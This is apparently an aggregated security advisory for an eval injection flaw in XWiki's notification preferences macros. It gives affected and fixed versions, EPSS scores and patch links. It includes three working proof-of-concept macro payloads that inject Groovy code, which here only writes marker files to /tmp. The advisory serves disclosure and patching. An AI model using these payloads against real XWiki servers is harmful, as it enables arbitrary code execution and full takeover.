Loading advisory.
Loading advisory.
org.xwiki.platform:xwiki-platform-notifications-ui Eval Injection vulnerability
Any user with view rights on commonly accessible documents including the notification preferences macros can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation.
Published 2023-04-12 20:35 UTC · Modified 2026-09-10 03:50 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| org.xwiki.platform:xwiki-platform-notifications-ui | Maven | >= 13.2-rc-1, < 13.10.11 >= 14.0-rc-1, < 14.4.7 >= 14.5, < 14.10 | 13.10.11, 14.4.7, 14.10 | No single command for Maven. Update to 13.10.11, 14.4.7, 14.10 in your build file. |
Any user with view rights on commonly accessible documents including the notification preferences macros can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the user parameter of the macro that provide the notification filters. These macros are used in the user profiles and thus installed by default in XWiki.
A proof of concept exploit is
{{notificationsFiltersPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit.txt~").withWriter { out -> out.println(~"created from filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}
{{notificationsAutoWatchPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit2.txt~").withWriter { out -> out.println(~"created from auto watch preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}
{{notificationsEmailPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit3.txt~").withWriter { out -> out.println(~"created from email filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}If this creates files inside /tmp, the installation is vulnerable.
The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10.
The issue can be fixed by patching the code in the affected macros that are contained in XWiki documents as shown in the patch for this issue.
https://github.com/xwiki/xwiki-platform/commit/cebf9167e4fd64a8777781fc56461e9abbe0b32a
https://jira.xwiki.org/browse/XWIKI-20259
If you have any questions or comments about this advisory:
Open an issue in Jira XWiki.org
Email us at Security Mailing List
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.012 on 2026-11-24 to 0.024 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.012 | first score | v2026.06.15 |
| 2026-11-26 | 0.024 | 0.012 | v2026.06.15 |